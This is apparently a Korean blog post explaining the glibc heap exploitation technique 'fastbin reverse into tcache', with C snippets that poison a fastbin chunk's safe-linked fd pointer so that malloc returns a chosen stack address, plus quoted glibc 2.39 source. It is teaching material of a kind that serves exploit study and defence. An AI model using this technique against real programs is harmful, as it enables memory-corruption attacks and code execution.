[Exploit Tech Analysis][Heap] Fastbin Reverse into Tcache

fastbin에 있는 청크들을 tcache로 옮겨 fastbin에서 할당 시 일어나는 검사들을 우회할 수 있는 기법이다. 우선 원하는 사이즈의 청크를 대량으로 할당 후 7개 해제해 tcache를 채운다.

char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
	ptrs[i] = malloc(allocsize);
}

for (i = 0; i < 7; i++) free(ptrs[i]);

이 시점에서 bin의 모습은 다음과 같다.

filled_tcache

다음으로 우리가 조작할 청크를 해제하고, 나머지 청크도 해제한다. 이때 우리가 조작할 청크는 fastbin에 들어간다는 사실을 기억해야 한다.

char* victim = ptrs[7];
for (i = 8; i < 14; i++) free(ptrs[i]);

이때 bin의 모습은 다음과 같다.

filled_fastbin

여기서 우리가 조작할 청크는 fastbin의 마지막에 연결되어 있는 0x4054c0이다. (fastbin은 FIFO를 따른다는 점을 기억하자.) 이 청크의 fd를 조작하면 다음과 같아진다1.

*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
fastbin_poisoning

이제 tcache를 비운다.

for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);
emptied_tcache

이 상태에서 같은 크기의 청크를 한 번 더 할당하면, fastbin에서 하나의 청크가 빠지게 된다. 이때 다음과 같은 코드가 실행되며 fastbin에 들어 있던 청크들이 tcache로 들어오게 된다.

// Def. in /malloc/malloc.c, in function _int_malloc(), line 2944 (@glibc-2.39)
 
  /* While bin not empty and tcache not full, copy chunks.  */
  while (tcache->counts[tc_idx] < mp_.tcache_count
	 && (tc_victim = *fb) != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
	malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
      if (SINGLE_THREAD_P)
	*fb = REVEAL_PTR (tc_victim->fd);
      else
	{
	  REMOVE_FB (fb, pp, tc_victim);
	  if (__glibc_unlikely (tc_victim == NULL))
	    break;
	}
      tcache_put (tc_victim, tc_idx);
    }
}

이때 fastbin에서 청크를 하나씩 꺼내 tcache에 넣기 때문에 순서가 거꾸로 바뀌게 되고, 결과적으로 0x4056a0 청크가 malloc()된 후 bin의 모습은 다음과 같아진다.

moved_into_tcache

마지막으로 같은 크기의 청크를 하나 더 할당하면 우리가 원하는 주소가 할당되게 된다.

Reference

  1. https://github.com/shellphish/how2heap/blob/master/glibc_2.39/fastbin_reverse_into_tcache.c
  1. alignment와 safe linking 모두 고려해야 한다 

Leave a comment